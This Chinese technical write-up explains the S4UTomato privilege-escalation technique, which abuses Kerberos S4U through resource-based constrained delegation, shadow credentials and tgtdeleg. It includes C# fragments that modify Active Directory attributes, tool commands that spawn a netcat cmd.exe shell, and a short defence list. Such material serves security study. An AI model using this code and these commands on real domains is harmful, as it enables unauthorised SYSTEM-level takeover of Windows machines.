S4UTomato - Escalate Service Account To LocalSystem via Kerberos
字数 1602 2025-08-06 08:35:09
S4UTomato 提权技术详解
概述
S4UTomato 是一种利用 Kerberos 协议中的 S4U (Service for User) 扩展,将服务账户权限提升至本地系统权限的技术。该技术适用于域环境中以 Windows 服务账户或 Microsoft 虚拟账户身份运行代码的情况。
技术背景
传统 "Potato" 提权技术
传统的 "Potato" 系列提权技术通过以下方式工作:
- 利用 COM 接口特性欺骗 NT AUTHORITY\SYSTEM 账户连接攻击者控制的 RPC 服务器
- 通过中间人(NTLM Relay)攻击
- 为 NT AUTHORITY\SYSTEM 账户生成本地访问令牌
- 窃取令牌并使用 CreateProcessWithToken() 或 CreateProcessAsUser() 创建新进程
Kerberos 环境下的挑战
在域环境中,SYSTEM、NT AUTHORITY\NETWORK SERVICE 和 Microsoft 虚拟账户都使用计算机账户进行身份验证。S4UTomato 通过滥用 S4U 扩展获取域管理员账户的服务票据,然后使用 SCMUACBypass 创建系统服务来获取 SYSTEM 权限。
Kerberos S4U 扩展
S4U2self (Service for User to Self)
允许服务代表用户获取其自身的 Kerberos 服务票证,用于:
- 请求服务自己的信息
- 服务机器的本地访问控制
- 模拟用户
S4U2proxy (Service for User to Proxy)
使服务能够代表用户获取第二个后端服务的服务票证(约束委派)
基于资源的约束委派(RBCD)
原理
RBCD 是 Windows Server 2012 引入的功能:
- 不需要域管理员设置
- 服务资源自身决定谁可以进行委派
- 通过设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性实现
实现步骤
- 创建新的计算机账户
LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(domainController, port);
LdapConnection connection = new LdapConnection(identifier);
AddRequest addRequest = new AddRequest(NewComputersDN, new DirectoryAttribute[] {
new DirectoryAttribute("DnsHostName", computerName + "." + domain),
new DirectoryAttribute("SamAccountName", computerName + "$"),
new DirectoryAttribute("userAccountControl", "4096"),
new DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + computerPassword + "\"")),
new DirectoryAttribute("objectClass", "Computer"),
new DirectoryAttribute("ServicePrincipalName",
"HOST/" + computerName + "." + domain,
"RestrictedKrbHost/" + computerName + "." + domain,
"HOST/" + computerName,
"RestrictedKrbHost/" + computerName)
});
- 获取新计算机账户的 SID 并设置 RBCD
string nTSecurityDescriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + securityIdentifier + ")";
RawSecurityDescriptor rawSecurityIdentifier = new RawSecurityDescriptor(nTSecurityDescriptor);
byte[] descriptorBuffer = new byte[rawSecurityIdentifier.BinaryLength];
rawSecurityIdentifier.GetBinaryForm(descriptorBuffer, 0);
ModifyRequest modifyRequest = new ModifyRequest(TargetComputerDN,
DirectoryAttributeOperation.Replace,
"msDS-AllowedToActOnBehalfOfOtherIdentity",
descriptorBuffer);
- 执行 S4U 过程获取服务票据
S4U.Execute(computerName, domain, computerHash, encType, targetUser, targetSPN, ptt: true, domainController: domainController);
Shadow Credentials 技术
原理
通过修改目标账户的 msDS-KeyCredentialLink 属性,获得用于检索 NTLM 哈希值和请求 TGT 票据的能力。
PKINIT 协议
PKINIT 是 Kerberos 的扩展协议,允许在身份验证阶段使用数字证书。有两种密钥交换方法:
- Diffie-Hellman Key Delivery
- Public Key Encryption Key Delivery
实现步骤
- 生成自签名证书
private static X509Certificate2 GenerateSelfSignedCert(string cn) {
CspParameters csp = new CspParameters(24, "Microsoft Enhanced RSA and AES Cryptographic Provider", Guid.NewGuid().ToString());
csp.Flags = CspProviderFlags.UseMachineKeyStore;
RSA rsa = new RSACryptoServiceProvider(2048, csp);
CertificateRequest req = new CertificateRequest(String.Format("cn={0}", cn), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
X509Certificate2 cert = req.CreateSelfSigned(DateTimeOffset.Now, DateTimeOffset.Now.AddYears(1));
return cert;
}
- 创建 Key Credential 并更新属性
X509Certificate2 cert = GenerateSelfSignedCert(targetComputer);
Guid guid = Guid.NewGuid();
KeyCredential keyCredential = new KeyCredential(cert, guid, targetObject.Properties["distinguishedName"][0].ToString(), DateTime.Now);
targetObject.Properties["msDS-KeyCredentialLink"].Add(keyCredential.ToDNWithBinary());
targetObject.CommitChanges();
- 请求 TGT 并执行 S4U
byte[] certBytes = cert.Export(X509ContentType.Pfx, password);
string certString = Convert.ToBase64String(certBytes);
byte[] byteTgt = Ask.TGT(targetComputer, domain, base64Certificate, password, encType, "", ptt: true, domainController, luid, true, getCredentials: true);
KRB_CRED kirbi = new KRB_CRED(byteTgt);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, null, null, null, self, false, false, keyString, encType);
Tgtdeleg 技术
原理
滥用 Kerberos GSS-API 获取当前用户的 TGT,无需提升权限。通过:
- 使用 AcquireCredentialsHandle 获取 Kerberos 安全凭据句柄
- 使用 ISC_REQ_DELEGATE 标志调用 InitializeSecurityContext
- 从 GSS-API 输出中提取 KRB_CRED
实现步骤
- 请求伪委派 TGT
byte[] blah = LSA.RequestFakeDelegTicket();
- 执行 S4U 过程
KRB_CRED kirbi = new KRB_CRED(blah);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, null, null, null, self, false, false, keyString, encType);
最终提权
通过 SCMUACBypass 访问 Service Control Manager (SCM) 创建系统服务获取 SYSTEM 权限:
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"
或
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f
或分步执行:
# 先通过 Tgtdeleg 检索 TGT
S4UTomato.exe tgtdeleg
# 再执行 SCMUACBypass 获取 SYSTEM 权限
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
防御措施
- 限制计算机账户对自身属性的修改权限
- 监控 msDS-AllowedToActOnBehalfOfOtherIdentity 和 msDS-KeyCredentialLink 属性的异常修改
- 实施足够的权限分离
- 定期审计域内计算机账户的权限设置
- 启用 Kerberos 认证的详细日志记录